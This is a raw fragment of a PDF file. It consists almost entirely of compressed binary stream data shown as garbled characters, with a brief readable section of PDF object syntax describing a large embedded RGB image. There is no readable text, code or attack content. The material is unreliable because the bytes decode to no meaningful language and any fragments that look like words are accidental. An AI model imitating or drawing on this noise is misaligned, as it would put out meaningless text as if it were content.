1Q5GWb|&)( 64a/d03— bQt'Z)׃%DfŰ1g\pmq2GxeQxlJ:J,aYTXd"KP|\*Ws Dfh'[#x9`%Zᆖ`NM3 +W֌OOnFF{KB95U3<α/T@kA^&Sv 8P/(CC"1DQ!`ci*$,*a!T1MuK*Q8Wb I{+ktOǾPB^<4RBCT-e>e4*,sA,g O<<W!9>ru. Y!߇#*|7UB'w'TS ȞUXxY@l@~6ktiIUL*R꯽/A| wӎǿR T@W}He 0L sL'| !FL|_ɪۖZ%5!VǛ)'Ap#2_V*d#dځ +J(+ƿRU~qUd=E8|ᯪ A#zEnd>FhODt$&(\ =Hۧ!L32i^ $-JX`.`\frM:yh)UXٜw *)(emI'6F)z1U MSSy_7W%?1 Ԑ 'Nng:_5 ac +2?'ė#20ePq+ iYXIe.lb"uT)o9TͻB:GұXR J<SCұjm``=>i̡ ޶@݉Q}(=pɵFeE>{Gⶶ6P<9fT^Y{f/HVmM7Ma.eg ̋1I2y(=p:QoKY;e5DǴ2=c>mIcm EUOw +Ca#Bl()2m$}=6me v Dwb-:2> M +g@˛jL]䳐YDD,mZ\s7c2'-gW`d~m(wM4yGWE9;W~ _ܪi#_LfLmiWq AưdG7Hgp8#cXPZk`uBaDSy\]Ś}C#GhcZSo_%*7aK2_? ) +W|7.;Ǖ~;Y955t_EhG7R }UD[ȁuZΩõJn\Z }r+a[ +2y|ӆqR3M}pP+D[HAy(ĺB"i q@)Pyl|ǭ4$R=pI2_Qo[ӚDr~;!K^9;YqJ`P_N<6΃Ρs-n|0PRͲ+}W^l.m!~TY?yڔ~B%I/g~.J.~sG3R/W}$ =WWS>f4OΞN@46$d٩s551=Y7,f>O|s=sϽ +Diw{ӝj2'sI`D 9qMe|f8+ukD[640AC(x?doo˼c,m#"IDŽk1_Hydm LGǓ=#7R3eޜYJ ='$Iڪyٵ连)^( +j{T?0]hB?gz2̄q#u8Wxo92#iIP`(֑F<$}F>_ueitķ*R!^"^ВH? yLbw#īF8QYNcZʄŌB?mxhԇ)D&+[Fo|܏)?g -@g0zGOeFW2[} nMF!O?5lHPt%gҕ[IwPۂ ђ@Acʼk/#|֔ A$.z[2מ2§/~.u2Z7Gq{4ީ95>r<e1~KC`>wL5A$"5ȡj8/VDkHDצīAM%f7*|X? @o#>,DZp_ >DrW,0eARDvI,\khy"oh)T^Չ&*79ͤ|o ޢe$423яIBix +ǷIḃ0 ++_ Ntprɬ=ϯYбzoiD>PfvJA*h&`PCmCnrWЧo`vMIs1579g2kFIDz:W%Sr.D32gLnS0s9V>*UM=]ڡ"$tnhR*oT$vLiH0Z%bD柛ڡC^$)N$"N)&24t>JO !#e- w͗1> +8#b}J"SAnvk,,Bl$R`p+\a625cKrGPalW|w|a:w ],%IQLec9W,.m.] ~SG,@V[ V )GtX24eZ^j/eh `Q엘|{w"=#tXTZ152Oܛe=Ϻ9<]ј>^>!˒,uO!2ym'6g:G/"ڲ̫rvm jrzhtord$4tUV|#zB\aoIdPB7Z,/#~W%~)aAdyb|ъXe?>28#A\6XűX`nA=OfO"}п7@q]gasoyTD +V.J*L[4|lipdxnL,CAjf yc:w;X>Zu63/U6.~m&;Vp7.(u 0.*v4Aӳr1,NYƢ/_kM[h /#c1SX$zhzZp}~T66L6BO-QUG< &eAb2詳eq4OfBXr\vYd`g)﹣\Vgo!f*B<]tfW[uh,L1zؼq;U;Ďʭ-UE8mG}DAHEnv.,{-]րW~{[;x7`r8OXr\Gږ洩aFwڻܺwe0 +F%Xl< +ٻ޺wXn{ E6WBRac6]66s>uѰ?oIY߽+r9YɤsfgeX.g؞ 5q٨^2F4C]$> .tOjCA6_ؼV296 e՚eٽ֯]StiH^f{)-uSk}p|RI97ҏ̭hf4=V;*neFNM,u?u}.BlcR{a +;fPP%TL{s1ěk%O Lڵw6[|m 4AiM*|XɻsH=N@G}uQ*R + %5@!s%ж[ 2k +kU#(vw5@3Ū|{7(CwgorKqĈa9~ʳ-P~f"ΞtEqiX*dw5ʭDz±8yAVI-mNu{j=][:D 7r`ޤB\&Yۗn8['X6mG;0p+utɱnbV3T9^2;m28 ,7wRB)ڽ%XFsAd'\П0Ƞڊ67%RSv Zehe={ʻm4 [ha.`QG@BMF} Nb>>VJ*r)G9 %cEDFKs7F7F'Wl)]y‰I}IyR~+ؘ b>oCstE^҂L,AV y|*(s + +*؁ qhU2&óx'iQ7c@" ;q4ow3r]5 LLAz]\T\J\PUX0H'"J#1mvesm!Ali,fS+s=om%&=K<ĥ8GG^x'}#BCʻy|B1!en'⧧зkH|o}O*4 +NEy A"]Tv^> Twhf&Ę0/|; s踝`fkE3bp7'~!3?ig<荰ϙ YcY32<Ǣ(Ĝ]3cV< ɸhyS1iAңRyWS32?¤uF9ACFD~ȎLͨ4ڎĀ֊|N-k[Gr'Ci*#,=jW:8 =ۥx4q TU'U̡2j)wRD`Ln'/ssM~US3(D|s#x5Sks&Q2a^! rkZ{[!s9LmB k|Q혏dA7~l;ظ QvZ'lc$58_7kg aX*~Ǯ/ƍprmEO4kM[M LZ=t|as[1a Ǎ4Xz4ri8;i}5 V!z>OMl:S9=.X} aGi!;nټ!Yg7GXNg8/srgLkƉ;„o#~Mp1m0;#ob(Ƴ}D +`nFv._5~ Cw1>;mψ6`͡|;0A%n,q9|;~8 9}[Tf$6rN={*"Hw/nG!djMÉ$R6dhdf)osd9{<ȼ3x(h\.j+mq2C-gި1ȼQ4M.ųg N^(PPtE[ +ױo,_ᖿu)s(a7S!.bs:>!<[ j/W1!cv 3$PaYYDʻr9(>K;8#8-3p)4Ĉ^Ū38Kñ 󹴋x2'-s}po>-o‎  X> +9ONţMg݉8$ eyKmt;`-tDMe=MII s(a^-!"vOTAPtC +* .eGc$^:ߑ~, ̡qO qkf8'q@CQK6cƏ-&Id'ߙϯ~#.bt2yS]YD&+. +MZ# Im;UPADcd9(SkpC6W8Wi9֗U9(q! + - c}YFG^v6sT?G8m\gL_}6m.qjcNW֯`oM_mFE7l@|'ZYG:oU]->#AivgF[=cu&-gJreJ?r"ҁ^Q-w, @F2咟:_螥gn>#g;2e툏,H ik9Ld8ۡ9@79g>:{VIAVCip㸳xְU?;c]AZC)p'Bkѡ6s<(7;ݥ-9L>vĢa2|,᥍͑XPq_ J6ewEfC;w><̱.t|?K&R<\o;0'a5|6[P'cM(t1WN\3$[H.s(w^NX)ȪBbnmXD6]?CB 'wńtle97lNP!4lqwӳM9tfj=܄s:?..9.qMZS>Viq;:||iR{{Q[cX]v.tNT׶q&g;]-xzMf:[ Dm*+"Sv )+[8*#ߓ>- ޻~77:TC{yR .52ۏq $Ctz+*{GŘhsb'ݱ]>diPg6g46FWwOdJq|pf ~fQJu򱂃Pkke2]`m8wF߆YS;~!L&s(~q"jlR"hT +Pc'q!8g՚rj2L6]_UIÅϫ:_52uE/ֈ6꠻D[Nlv}l+EbW(=w>sG R\YX'loaP ĸS_ Aq)l+xm:6:? ;G\ H"SlDs\y2&VR}؟HZ[l2C/g+[D@keP6KD0 +E%kdYm7 +o8ECsDf ;ǶkwױLd g_/ ,_h+>m5~._-2{5ų$m2(umHNJl:G|z7lP]WwՒ-[g]Gbmd5EZsjߒ+Sb31!EtEې,xd'EQdzoW ̡`ʏz6Հ&R.8\ޚ'dc'g$Y). S*J<|32(}Am0b`[h(:7̐ί>A-!^9}yܓojm<4wWO[{w&9EZŽ-uz7rƉf6;2(iIm0Gkۑ3W`/$7HsԈqcV3$sȫj{#D[JE!W<dJ޷mZ7}Kwl-}bڳ6iO&z&FwJG-نn[&Ps\1ړPm;rj&=㵢m{)[uYlhVy0&`jh+l{Ej2F#ޣ5;&5mP{YS%;^9(o[jM*=[…ue wu9@~ͷ#֚.;F +w>Qڻ?^꩸TGɎRfmIR9n6^9o_}DwZQ'yvh^dyOXވ+ޕ9U~h#wts[WtnvwxXEM<C]}@dtX\ie>UoqZГskEԄwܢRO=3=U ԟLI5ʀp@8;É@~aiݟmxOZǍ{6P$Ss +"=Hy&x9x>e?dM+ȔP8Dcq @R,ȷ&`$Gb MQI<8A{0/dj_4pbbQPBZ)QAɇ?4I-)UKAȉ==Iqoxk!X DA}jmF])a5>iojbRAq^BHv߽{? _m"ݴ?1%s 3wߢ-âdjL|7[)NUG^?K7__6q7m(|)sPʦgePPqu3D8г7~hWE߹!F2ᇧ'M2Bѭ/u6B89@l]tՊI6*΅+t<~{Tq.@3?I4#PPTkD%6@)2V 숾rR*'e>Z< D[At6B&PcJ\q^h+zOxvh#e>A{gC䞧Z*(dry$V y:(TrJg^y:ƹw= 73AS\8̳h\y&93Swױ82#[gPF ]|~h+kĖ:&̍V]pih+f + 0]rgy +mbLW27G),#@t_ 6 ̳_E`th;ͼnrK/=RH27zZm2Dm2F]A[D-,>£R 4=Fauf|VGO=-, +2C# +?Wu{q{Bڪh]rP-9wz-* +w2' PX'$/c}; A_T~ D[m Cʜ@Q 8hfȩ@SWPp9c;Ozxdv,D ʜ + X*e/> *Ѓ2%+eچWݸY2G ^}aVx9\(?t\3b`sm@"&=eBigvg%T2D`_t +>|ٖv\3eΜ}=~h=ҁA`Y'n_{ak;seΉYz/ƹ2Gif^mǹ:OP\)>/a3Z~eΛ_`lCسLvce @KA1_xs__?z%e.]|7{7ĥe.n.cah3ܴaݚ24,cزuӺO MJPR3{w?CY|-Mo2EiX0oY 2"Zm^uxxx҃2wj@QT%8sޜƩSŮڇwl<<<<<#K@`~@Uqzc])޲us(Cw(sZ0}=]=]];ZZP8ƝpW2w/`^0G VWI]mp4D"ݠ̽ s`0SY2)oRQAAAaޤBr`% !! h?ƒݝh,Eh ^e=AU @@U +A;>NhZZ"1-x,h7E +endstream +endobj +1943 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 3590 +/Height 2880 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 3590 +/Colors 3 +>> +/SMask 1944 0 R +/Length 364004 +>> +stream +x{|\w}'sftđ@䐄^(Nim+vt)v]v}tnu \e`'\ +q C;7q|ni珁 ˲t4HϜs/f0Smݖf0 ð\.0^9?f"[(+H$Jn(L&nQU~lmmmkkkmmM&D"l X,Jl6;<<\**H+&Lr-ձsM&Fhh\رcb>x 1+*d2y677ǝ`:vXEa};LsMqMu>h{{yPG,J\.80mV郶-X@yW<80*d> L.X ,V2,_\:ӶMRk׮;N 'G._7+WN#Bh\*g)Jp #~dmV=zgoooEK,IR3j nݺdɒ F.^oMR]]]q P =k.]tժU_}ed&ټy5kXR1Sۊ+fg#oq:::j@ +0L ]]]A^!ٳ;::.]lٲg۶m۷osҥK.X6l<+-[VCe˖m۶UB, GrSU:,_]dQq[+W6SU^NG|,YrSZz-ZT{Vo1>[}_c qSYw< /,^NWwttAnݺj[nd27nܴiӨXj]t:~'nQ dɒSmU~j+[o.Re˖]vƍݣn8U3[oT-[6j={ƍ`=PZq]wվ1O+VXzuojר[v"l͛kۥ-[V[ڲeKxu]uUz'Wʯ#Yf֞Ҫ޺k֬ҟ9Ym۵>J֬YS~NX8nUV\TϞ&__Tm۶_TG"6Yr +@lL&nݺ1XYy_Et:z ݰ~˖-*GNw-[֭[Wx*tzDtijc 6mt7ƍ7lp^[lЇ>4{ `wiӦ T9A ذa'-t:}h[oNQuKN׭[WXYG]+oO g[Cg<­zrO{{lܸo6F;90e8~6F\~}J*W6ߺuC=Ty{ɒ%#ƋVV_#nٲԆ ƳuY4:::*{Lg27|I֭v/^lٲT*׷iӦJʟ}u4czkA ֞g/,e˖jm۶mٲ:uʕǵEQ'mDpɒ%\sMGGG&>N#馛N]wݕNSԒ%K FJ _Wsz{{+[1roquuuU.֭[o^yjÆ }G%K%Kd2t:A&Ǟ{*?A?]]]]]]fdm%T^gǩ>Xre[Xl٪U>Uټyx#מJ7j#V[~}Ֆ-[Uŋ[BWWkGKnܸ6[rZytnŋ.]~ѿ|*]vmj._|˖-RySkٲegn۶6Rmxn\V#.Sޮlٲ5kT_^_RGfo-K''WE.]nݺoF\D`q|.]ZlurbŊ+Wy5k\}˗/_vmm.-[6;%1butt^㈂e֮]{Wwvv[qL}򎎎oyu +W><62x)]]]+W4k0zF4te;ouuujW+VT[\#nZKT*rL&s_S^Y=sϊ+*kVeʐN}U{EWTK)Y{xMtmjC.[TwN䟬]jթNڪU]ɚ7ᨱS__Q﷫|6SGd>mJ*[AP[~GGꫯn?B wttT?_'f87O5TBR:n<իWזjY AJ:;;+ڂimElXTEHRcl'lٲjY*;VԮ;ꁮ3\Nc驖NUح-#ؑjI*۫(2^{ֶ];;;OBmog͋-[_^ٳgW:ttE:ZTjԁ^{ڕGL ze2%UG4.ЉRى{Dg߹e˖ښYm(MRu\{h?鬖/kNcl^~O5}Q*5L&w\?Ezck488X}<ƝSm۶1nQUD\~ *S;;;h7۷g2JeTY&9e-4Qd.X; r)WS=JNn UWw[mEx"+GN7n88~===۶m۲eYpj5ɪXۛ8w7ϢEN]o믯%j]]]co>Tj/?GjNOOOm| +VHӵT֩fK,Y|n(4гqM7oJ:;;ƮxYf'z{{{{{7o޼jժ+W8;*goDqmѢE]]]}LfÆ k׮W^};OcN;,2r<{6o\MRK.]xqGGGggٳSԺu&Z)d}㧚ZZ;={:::*t:nݺ +[kK.]hQ6n~ܢ˖-O%Ke˖n߾J#twwR˗g}`*P +WVq޲e/^\EJt&)|V pL&3qoڴxʕV7vvԂko1nSk%K^aee̤6,+{Y敬?tmv#.yg;;;kW{ŋ/^LӕAջ{ٲeS|*0P;R[t [om۶[n=՟W0:rhhT{raE:V;=V ?Ac2{{{mKNf43ŭ=EK.L?R[M#[|Kk׮: + Xxڵkk'Gc2Ֆ+6GQoʞ?ㄟjW2x>ѱlٲ~h& +L)*urJ)kcm۶Y[{Oڏ|#~6jooM-[sGS*?ֶ$[Wg2!'ySYV + 먣~8ʈN{"^͛7NuY/qSܺ۶mۼyꞓST2wԧjɭOu-RTj]޲eˈ0nٲeÆ *&60TB묫vjƍkQl͛7nx7^wu6l]:T/--^v^G>/>5jqRimE2+V٨UL&soذaݺuy{δY;@qQQK~Qc)Zl+܁}.]ZMOV;w[wƍ޺]wݍ7޸aÆS +im}y +LjNg{aŊz{{o'$N_c^qM7zW>Jwww_wuׯ߼y󩪽;@Q {zzF֮][mYU:[L&s뭷j_Tv +鈗g27O4y_n۶mÆ ]w]:oܼysV)ՖF^>ɬ[nęYnݩQ[۱'\?>^tݺuA#f^ʲe˪4tFګ9F96m^[*eʥQY~}aSЈ#nu?0km۶u֭_{ݺucS.]Z}hDy믯m׾xƍ'F֯__ʕ (@US&[EaDb+WQXy:segeOڥV\9b+*[׾2U1 \timڭtm/QulQK, ðgÆ 6lq /_>AZꡇ7lPYJn馱cnذaӦMsN{{{+!Ƙ?z5lٲe[ `Vi_jյ^{򥯬y[wŕ{ +iK,k|ЪM6m޼ywɒ%k֬ϭbŊT*hѢMO|bԫAggeNI$ܴiS__omٲe˗/[X,*0afrK .;UXVe ǣsV)䍳U$ct>b{&(0͸J?ᶶ0 -Z4ㆤSUB{uU/]n7+744t >ĝD&۟韆a@Y(lܸ=yOeR喝lR}9)&։'DqGBw`fy{ݝdn^#lٲe-[6'@T +`Y`ښ;?Ç;::؋bA:^zҥK:::2L&ٶm[ي˗/Z(uP,I0+A Ϛ5T*?~|qfk^tm۶m6_.YdժUC ȈPP3t@V?rH\;0Sttt|]rJV^}7RI Vw>hT +P&Zw8}cK&A$Ʌ 65ЙQϺ8J-]4<0 T>VߤRE-]t ] `ppĉQa/D0JhrK$ϙ3G1r\.(A`Jhg͚U9H QblX F%n C8;204 mݖf H$rYCDQd2(0¸4;3L&(( +C' &Va\.J~N4i7ҝww +  "1bDi ,hkk={vSS(LbfѣG;V,+OaX(CO:]wU}<J 4H0:th~b3 .TeپƅD%( hkk+ϟw"`===l6(/_w)A%4j6袋:;;mSYX۳gOG*AMK.7 0Nv< +M f7o<R ] ;0 A1UQyqljӌ& ."}PhP\rE]ASSSY4s+wuWmmm:;;ڂ شiSYb3C+ٰ]]]3 + Hgh%9?qg^/\0Dbv#g۾;( +0m\ve :+d2 ŝ3uPL|aAp*3BelSS… ٳgW _ L'MMM`.8̸JhEJ(LS ,~TQf\%4HA0gΜAql3Z655eƽJ- @UF8~0%[PD%ᩄ4X>||Pt`tX40Pl6Dhx((b0\ ʼnD6+1{v8=Lg +SԜ  '_fM$`FR ^T,Fǎ-;Z>/ڷwoiщAǕP<9&RsE_8?q =71oA8$J(Шtϔ)JGGDǏ JG93z_ hjJ̟8p޼Jב,EI*@C(ӥʻ{?WW>zdM8bСC#ܒXx^rk.Hv^X9d)بSW,Rʻ_*S?P>|0(5{ H6%9'y.n~U^4ø#A%*R):||`o3=v^|!(8Jt`:x77A_ټdk]8?lOŝ*@ܢoo=}Qu eOr|p`k~I^xQxya문g@%(Ş'܎=P܉ӱol}kE$/M?&]`Oyh*@=E\q' /=A4]~e.kz㛓\Ξ +SJ(P`G|3{C}Q|nG8g^k~: P(TBEQ0p|f`ki*8^`aۃCܵ\P:TBEt=^|.;"ݹM^?_M\*P +TB3=RݗG +3Kl~+^X(ln;\*xEݗ;%X(>ΧomgzSH f"P`LQe;ے]qaJ*J/^}^׺ⷚl(I%8hx(ͻ=Rx44w@C&y-l˿[37D0S#El_,]NFr£o4]~ew(h0*0EQ_\GEQtX{ +O>r~&LHTB`zrwOv(;Kth_/q0i+y8=PpK_(O饾+f7~?w@cGrTxxkϿVmmq')D%V}mS{ˇQw xryۊ۟lMoɰ9L0%@c*sk;J/<wtR񇋽Ϸʯ$͏;O%LE~S~sqǁDǏ]|Y#  +$~{; /*O?57~np@lTB1DbeX{17*k}{=ln;@%@48Zḳ O?Uܽw{¹M%(*'o)>DT,ĝhDŝަ71li;LPB!˹_.wh Q!_|L m+ lm;LPK;6txiD'ž~^a܉`©S.wl|,(а¶wMoK%h>(3whx>|S]kN\pqLc*0^~BY`sXz8E%(ٻZrEqǁT*>=/֪wb8{N܁TB ~M_uGǝ(*-fq:S 8ER񱇇oXy0ѢpK/qlb4<DQq`&NO}<:wS3)>xP.ǝfB>wz5Aw40SB`Rz +SBTtJ(L(XkxR{wgy{44w8K6eswݑTŝEc~S  Eݻ?OŞ'Aa*2/~6:rߗXtAq̨*\AAq(szؑ{baGi $W\|䡡cqG-*~tOQ Ĉ}c{R14)nr7wl(,0.*PQ\x{CK}qgRCWGEZ4PRp|PNgE~TBB!w7>E'ŝ(ǿnR +wF +_Q.wnQԶָTB>\.y}Pr-d~渳(TB%Wb!,/|:hijUYqq #i/w?!*0 +Ht?}{R),rW{1%^4pb'}PQrw>/`V(SJ(h(3t 帳*rؔ'qgR eßw }2*A +g!?!ͻ*\Q.ꗲw~!;  +ܗ qg_布0ө(w%{g>(A e7~:Q.wf4PT}ß(; 0K÷ݒ+QK%Ƨ\*ܷe_!#ECx{RYTB(*l{pCSU0tˇ  +@TBtJe>Liѡ}駴B|*0(*nrx?FGh,?[BL*0hxxS pB%F ;а?e +gn J\ퟋ;3J(T,؞(;wE׿Z|X; ӜJ(RCqGoG4 +& Vd?<0w3Ph7Eqg(*>c?=w-P wAw`z*l?{W#s&J(AT|{ßx4; +0mEٍ.-*12+?ģq`R `+>/w`F(7#q`Q `FqfҮޡO~<;ӊJ(3Z-ٯ|!3K~q`ZQ `sw}%f<|~K/P/*P#?w[饾3T1:z$ L*DQĨs_LT.@%' ; +0_.r*8=/jCtxA >Oŝ + S,濹趸sPy JTBAB!囹wSx/GBAh`* ol4<wW*eҳĝ +Lew|布":q,O +YS `F엻 { EJqG!0#Q=`Jy{q!0E'ݷpѱcßdƣ +4rw?wq)=3`1gF%iBr9 ٯ~3q0EBq8щ/}6*@#Q `*[Qx;q8CQTwDQQh*L[=w|!ep6DqS0TB({ʻwŝ,qAJ(Sg_j)^C$4Pm/=wWe}9wJ(P{;@Q.w:PK}}"(PR+=#Lu*L+Q.m L#\P9TBVFAp(\:(!)v~x_& C-_<zr9D%-oK.xUbμ칉9sz@O&ssԏ~b&*JA>]:D4pxAyxB0$S>gE9q`*R `oKzUJ(a/+ZjyUY&j+?5 AQd7.kBa1QZ\^w +[_wuT.98@p;ADܹ$gZ^w +PO|TϖKE?'3%ݶ* Lg + ^wG?w"&C{9qۥVasYTBhTGL\oۯZpݑd.?i0L,8_i{a"w+l.Ă-_' }5rܹ0Q!ٿ<Qk +@zp{厶+_V m@ͳ~Wg;ۮzSbܸ4Djqb(W j40/qR +@C3GyNt*# i{/~t.0@ (lI__][/qgbB$?SΨ3 O%TzsGڎ|͹o۾wB#Qah_k{D*w?/{{Paa^ɸ3PPalTߗc.?wW"3-פ~ZpU&3$Z. ] ii߆4w&'*&<Q@TBhI)*ݙٽx(k%W\9ώĬ#lѤ ἷ5>ɸʔsƝ8Fᾧ;ak缮79Tc*ԬwUyaW +s.K=(K ;`21T_-={7^$|3K/_W97ueWNo 쫂Ei\d'YQ`7 ?׹u83a7z?%t򲿏, B7ph{)h@+_'km~K1.aUs>py綷. 0@* t5 f]wJHWR&C%Ɛ) zюZ5]v|o [ZMɎH\9or#J7(;= w~pX<kֺc&PJ¯?IΝw3/GG2#h0 \1:z@ttiҡ(+B)Ҝ f[9sOfaӕ4iެꅉ%Vj<w@}y;dS ;$~5om/wuISt_S_8J(  +:z&nr}c]_ҡ;ʌHY Eѡ} ?B>[=Г{r_]o}oo_rak&vC[:.Rt"(^bpheq`0{ţ/M!A׵óz鬹y/?^{W>||AO/F??rx];_S(JvRr!$N})qҬ3 P `J~l)?GoAW'bi5 57wuQW̖Ҵ<_v/_;w\omN$bi%g'/iNgCP4[w +cZ>ףqG`0uںI8`PګgͩA3~sbd/>2|3GwӮ z>[^7S㨅&Z.bpX<C'y*W 9TB(K93ymwP +Y[( + GڞdzάKV,_x8޾ms&}bhY~=6eG*>LP=9GҢ/\pn{aOkkVߘ#KѦ'r_ylp!S#}bH,|W4|y߅I>6~X菚ɠ +ާ0Glor֟۳4%AbR{R˅~{3 oA_{2R?wyKkd M$/Ah׍䧤0+q ;m<Ĭw?X6M9h=ǟ;~#}u/KzDK)4>Ds0|IT+6{;>vYC70hׯ.hmcD_zd߭?{2MnqF|/?/ 92g)њ>?;(8@?w +&J(S#z="gn; B_o'%1k(xjOOx ɔ' m( ~ %}W}5>7_{4 _tN±0/<~M=@TBrqG^no^\lڶx$h_ymp:f'vV輥ο &XWTJdI @\TBZ2o}/Awzs)ۿ_ & E_?p^J'>aS(HN8AP)X*L-?Tin[s ŝ"fm/F_~t}ĞI|f:8P^|?3<XB_AOay(1h)X` +)K}S7*Mt̩,I.8wB2;<>::T Mp+in?SWMQ8)S`"0g<w _l3+ Hh49 =JD{'@Tѭ Ll;0zA,У0~'q`0tb{Ncv7e}݂9 . S~zEiKg'a+sjmz"g_ ;>ĝ +T{=qw?{ūN1Ypk};“/> "2.KO἟H\A}anO)(*L Q}q8Bm87pܸL01u5?21g;N ߻37a[so(130Q|0<޿#cyqV[ϏɸL+{!LL7O+\ē/R+&lVh؜C7M꜁P)*L xS%︨qHabΉX; +=G}>Xq⑗ +U +uIM &fy+,;B%)}{Nq{Ͻq~wҲ}g81Pw*_B?880A3Na>fliH%)a'b)Ny4b-qιsaSD,~b8=Sſa [@ Yq +̓a)wo~s @ÉN1.G_ۚk9j_[moɉXH&6?a|CA_᦯n~ExĴSA9w +O%>px)kï??QWɅ}-u_9_ >W + [OۃO@+4lJ\`[2qTBQ0}BXy R7akkj$fϭ(C>0m4?4]æuQ+3^Q91h!?PbV*:gKg[-o~KϿk"V?l-șP o= +Ms5u_z2|0PboNqfAՋcdP}oSǢ/{pnsLQ*ҥ/A2Uΰ`xF%Lw3v0ԕ-֖RW'Ve2ikpBùo2Na`8#ԙJ(1{#q8] ; ̛&=OfL2lˏf}|ؔhu|^e AP +@TBzQC->(umk~gfO\LNl:lܻ#ս:  ?j!ESa)wI%8wg.m1ɦٿ;sLuh!kj8Ö=G}| ;~3hZPe0bPǝzR  NƝEapkg i yGeWwrg ]=og ֹh,<&fwqTBӳGvEuߎzrj-|QS2 g&;_°>lהQ}Xa8w:/xDDCPO*&Ɲ*/,`nALҷ]s_.NOROfO[/ F6sQ'zR  6å\NQG/a^w3оsw;~l-㧳J`8[o'9<痂dk2>AT;u +@l _>?q߼ύ}|˒ڮ|-Cb'53]s{KqnTBƝ>]C- P S0Y} du\)Wn`BasMƣt<Q  6/}xn0uPj.S;׽oTk2e\=\]'† +ygu\ +p_ib= 4҉Q4}H 셹͋;i5w^[3t4cDL+F|_`=x4;qλA+*wC%<w:R•rq9m[uEexYlfyDz }WzaWdTBGqG(+<9KSMq\!ăق3Q9 +=wx\5Y?Q9h;s]v Ŧ vvvMš#Ӷ4p٬s4wvۓWբ(F\7=O%nX#A9[9p`N@ +0vO;vX,AP,8u>ARTzSL2]0#;æ/Od#Bg(z"R lHqAN+wC%`<={l'رcGHqX $ ;Ԟ/qAwf%j^X[X:fʌjM%`;vl|[MX>~4;)΄/o)ϊ;H|IgkR9xXf4r9#\nCش cIT2%`zP vڵu}t<#fL>ܸSͯ"1AVuz4NsS *Ӂl6sέ[N}wwI J_ymE1B[Sa2Yն->_jLy6Ws4ͩjN?Dz O%d٭[رcC_>1 GJO7pN]\6-KZ JZTݑ?>TJhb–eP +08v)SB (] ^X}TۮIk=GK߳k<'y@q͎M̊|Vt@%4bk׮[S6SL#W.ϊaPŢ(ӹ=;rQn_ )J(@@f;wi}Eu,5=rɼ?n8o~ӫ;P>zЈPN/-k}qԲ^1t"(eN+ +Ш:u;v4\1?s81O^'}Ph.J̛_zW^XpHk5N' + + +87>CqGǮ}W,&M^PkR/)>RؑukRF9WD%`;p֭[Jhq8RsvNtYsk}رBݖk=/Jέj!ʅũ5U3 +0Sڵk֭7F0`te/j"qyy# +BT՘੽z-Y4:P$ܹqb/4 QbK?'hOkwދP>0l[/R-,@)xETBf[ر#b@.+)ADAs/\rt^Gr^}s,L{iJh=uI}blQ.4%Px&'|ĩl0Yƥ9uY+ٱ(ljR'J: }d&.DթC&WɌM hp*3W6ݵk֭[?i==1iǚJAy.?7]8ú,V뫃)@S ٻ8ӶbXD#6WHzUlr-;Ή$N8'='{e5Kz{'@$ +^fT$"8f {Eq7@ gϞ=uTlΑ1K kꯋtEzm>_mXh9˩~A @ahhh߾}MMMs] F|s":P_T:-겏 t4}M9lg/LN SBPرcsz?Y%, }Uu'F}03ԧ*\le+LNB"$2*xK۷oppp.98 +ΛOե ێfN#^i#R7t!H:qeQ bH`TBp@sq?”+ e鵛DQP̔/ M5oR}Fb +ZPt*TBpU}}}kkkD"zɔЫ4EZk˰鲛W> xQ-1̌'w9W0 /pp<@" +):tW|*W?#&[rNεor'z +5_rI3&J(@SQ$D"~_CÑٳgVl*ebVF5n%Io@iafBm̯iCYDS>ȔPG%Hdbb?#}TTT̺hvMUaEW1xPT PQ# O Q  E] nct$򊊊Y<\eݤ|jp}ifU5mdao̯,xj.PI3&E$4*H$288xkWWWrf@)SCXSa8dg"fҢ`uJPG%T1:::44Gz ǎkhhQ+)ӱ'#wQ=lM +J(fT^E0)Hp=vǻBwMMM3Z7X𹜳AV 'Yj98>6ȬkL   =A LfvwU:o:<>$nPJTdk'LBL HhTBHNgϞ ~%4*P U/q :N %t8)uxG%dnAB"S-ZCIabV"Q*ȔИ"TBdtCE) ~XyKj#OkcPPNH-,N{i!6¤DE3 +@Nxc2$4 cǎ)JQA:sfhzuww16~CL M1:%sԩ@ QPPP]](3~I mYY=|mbUZ,]Ә"SBP9v.r[R1?^`a Mgԭ/nDQ4Cj4$I:&#;eXV:1>#\ٝJPTw剷d.?ϫ׭]6Q0P̄, +6AFLȔPwtH0MMMs(.+33p8KJ(%%%İ*]"!jW4FoEp@kC"[j +ZhP0),z|kDxΞ=Vrp$=UWWgZungt,#>˱nANkt8,"sp7fj]vMu8c2"SBPF 8v^+RPPKp8>I&>Y]ڙ9|et@J+MNƘH3:VBt + +بtx8(%%%l:{ ^NTPuhP4AԡI6Zb4ԭ*F5$DTi/vw y4MKY]N{^fFAfz+] +boN:plePLb']W^7٢HX2\~;]JՄI3:UBȄ EA};a;55utCP84ATUMEYeY4lײUg@hiix<׸媫Zia21xP v]c/PxePE̴383㴉6đJhl&i@hsgKO>qsp$N]#Ziym-*Nw(2={0'z{{e;jչ\MzTAۗ-/J_><ɲȰPDQ(r:lTR%ZhTPu)iI* + DUtٶC:ytkW(npx[ +s2-_xed;t p PZ hooŋI(RZZZ^^9L(ȑǖ8~/{:=1sMm߷ĤVH +u{Y qp|H!姄FU}gZvovkΚ =9sǺe7Y~QnesKךُF+))PUInq^Jm-GpR^*ff^~eBdB0 ّ5t?{iӧ +>}s񳷯[6,W(zI7wsn{////媨IDI7,k/g]qקE¢Àϲ,f9G!X&O7lT>a2&g^GWt}ϵ>y\*ĩk<2D8H*V:''ǘ+VlF=ɜZ}+WB#ĸ}7Rda~|'r[!4NSg+LNhJ!bMӴ 'ۻt:"~zU&Y6:HTr"ZyyyEEa\.WCCC]]}PA&d3:E 빑#Wy&-_y\ۉZCZX0m7LBiJ!b|䗾>t(.(Juuu\ )SBu"Y`[}&oPhm ܥ4SȑF)dI +t{Yk+LAr!/ӯŷzh|5/5M;yp䁭k?@ܙ݈PZWW{$.EQ***֭[W}PAf{ntds^?4G./x^(ΔMz$V)WV U +${O vybpA/w/'$$*ė@ vgE<rZ<i +~WhD%QXYN%S[]azYt Sll3:Ĝ4mtozԘgt) ?O}z`8lt`_f7"j$n 8}JeS-IxbMp٠P/tQ[l1VCDacY4_k7LN3ht +i58g^>kt'^s%>;đ@ 7GY֊ȃĢ(JuuU\.YM%tn6cV u٥¸;R)fz5:&%s\go>ZYfhK{m$ *đY!'ѨTyc=nt0Gf 